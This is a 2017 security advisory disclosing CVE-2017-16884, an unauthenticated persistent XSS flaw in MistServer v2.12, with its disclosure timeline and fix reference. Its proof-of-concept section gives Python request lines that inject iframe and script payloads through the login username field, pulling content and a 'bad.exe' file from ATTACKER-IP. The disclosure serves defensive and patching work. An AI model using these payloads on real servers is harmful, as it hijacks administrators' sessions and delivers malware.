CVE-2017-16884 Mist Server v2.12 Unauthenticated Persistent XSS (hyp3rlinx / ApparitionSec)

[apparitionsec () gmail com]

[+] Credits: John Page (aka Hyp3rlinX)          
[+] Website: hyp3rlinx.altervista.org
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/MIST-SERVER-v2.12-UNAUTHENTICATED-PERSISTENT-XSS-CVE-2017-16884.txt
[+] ISR: ApparitionSec            
 


Vendor:
=============
mistserver.org



Product:
===========
MistServer v2.12


MistServer is a full-featured, next-generation streaming media toolkit for OTT (internet streaming).



Vulnerability Type:
===================
Unauthenticated Persistent XSS



CVE Reference:
==============
CVE-2017-16884



Security Issue:
================
Unauthenticated remote attackers can inject persistent XSS payloads by making failed HTTP authentication requests. 
Attacker supplied payloads will
get stored in the server logs as failed authentication requests alerts. Mistserver echoes back the unsanitized payloads 
in Mist Servers Web interface
automatically due to automatic refresh of the UI every few seconds, thereby, executing arbitrary attacker supplied 
code. 



References:
============
https://news.mistserver.org/news/78/Stable+release+2.13+now+available%21



Exploit/POC:
=============
import requests

#INJECT IFRAME
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":";<iframe 
src=\'http://ATTACKER-IP\&apos;></iframe>"}}')

#PUSH MALWARE
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":";<iframe 
src=\'http://ATTACKER-IP/bad.exe\&apos;></iframe>"}}')

#EXFIL LOGS
requests.get('http://VICTIM-IP:4242/admin/api?command={"authorize":{"password":"666","username":";<script>alert(document.body.innerHTML)</script>"}}')



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification:  October 19, 2017
Vendor Acknowledgement : October 20, 2017
Vendor Released Fix : November 30, 2017
December 1, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use 
or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by 
reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided 
that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no 
responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security 
related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx